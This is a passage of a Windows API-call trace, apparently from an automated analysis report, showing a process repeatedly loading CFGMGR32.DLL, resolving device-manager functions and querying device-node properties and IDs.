(hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.117] malloc (_Size=0x18) returned 0x196ef0d1980 [0222.117] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1a, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0222.117] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0222.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x653ff63d, dwHighDateTime=0x1d9eb0c)) [0222.118] SetEvent (hEvent=0x248) returned 1 [0222.121] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.121] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.125] malloc (_Size=0x18) returned 0x196ef0d1f40 [0222.125] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0222.126] malloc (_Size=0x48) returned 0x196ef0fbe00 [0222.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x653ff63d, dwHighDateTime=0x1d9eb0c)) [0222.126] SetEvent (hEvent=0x248) returned 1 [0222.131] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.131] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.135] malloc (_Size=0x18) returned 0x196ef0d1b40 [0222.135] CM_Get_Device_IDA (in: dnDevInst=0x1b, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\VDRVROOT\\0000") returned 0x0 [0222.135] malloc (_Size=0x48) returned 0x196ef0fb220 [0222.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6542207a, dwHighDateTime=0x1d9eb0c)) [0222.135] SetEvent (hEvent=0x248) returned 1 [0222.138] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.139] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.143] malloc (_Size=0x18) returned 0x196ef0d1c20 [0222.143] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0222.143] malloc (_Size=0x1e) returned 0x196ef0f9ee0 [0222.143] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9ee0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9ee0, pulLength=0x67117d608) returned 0x0 [0222.144] free (_Block=0x196ef0f9ee0) [0222.144] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0222.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6542207a, dwHighDateTime=0x1d9eb0c)) [0222.144] SetEvent (hEvent=0x248) returned 1 [0222.242] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0222.243] SafeArrayPutElement (psa=0x196ef1f26b0, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0222.243] free (_Block=0x196ef0d1ee0) [0222.243] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8554e0 [0222.243] SafeArrayGetDim (psa=0x196ef1f26b0) returned 0x1 [0222.243] SafeArrayGetLBound (in: psa=0x196ef1f26b0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0222.243] SafeArrayGetUBound (in: psa=0x196ef1f26b0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0222.243] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa9b0 [0222.243] SafeArrayGetDim (psa=0x196ef1f26b0) returned 0x1 [0222.243] SafeArrayGetUBound (in: psa=0x196ef1f26b0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0222.243] SafeArrayGetElemsize (psa=0x196ef1f26b0) returned 0x8 [0222.243] SafeArrayGetElement (in: psa=0x196ef1f26b0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0222.244] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225c30, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0222.244] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa9b0) returned 1 [0222.245] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8554e0) returned 1 [0222.245] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.245] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.249] malloc (_Size=0x18) returned 0x196ef0d1de0 [0222.249] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0222.249] malloc (_Size=0x48) returned 0x196ef0fbd10 [0222.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6552d321, dwHighDateTime=0x1d9eb0c)) [0222.249] SetEvent (hEvent=0x248) returned 1 [0222.252] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.252] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.256] malloc (_Size=0x18) returned 0x196ef0d1d60 [0222.256] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.259] malloc (_Size=0x48) returned 0x196ef0fb860 [0222.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6555330e, dwHighDateTime=0x1d9eb0c)) [0222.259] SetEvent (hEvent=0x248) returned 1 [0222.263] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.263] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.266] malloc (_Size=0x18) returned 0x196ef0d1b40 [0222.266] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.266] malloc (_Size=0x48) returned 0x196ef0fb950 [0222.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6555330e, dwHighDateTime=0x1d9eb0c)) [0222.267] SetEvent (hEvent=0x248) returned 1 [0222.269] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.269] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.273] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0222.273] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.274] malloc (_Size=0x48) returned 0x196ef0fb220 [0222.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65579692, dwHighDateTime=0x1d9eb0c)) [0222.274] SetEvent (hEvent=0x248) returned 1 [0222.277] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.277] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.279] 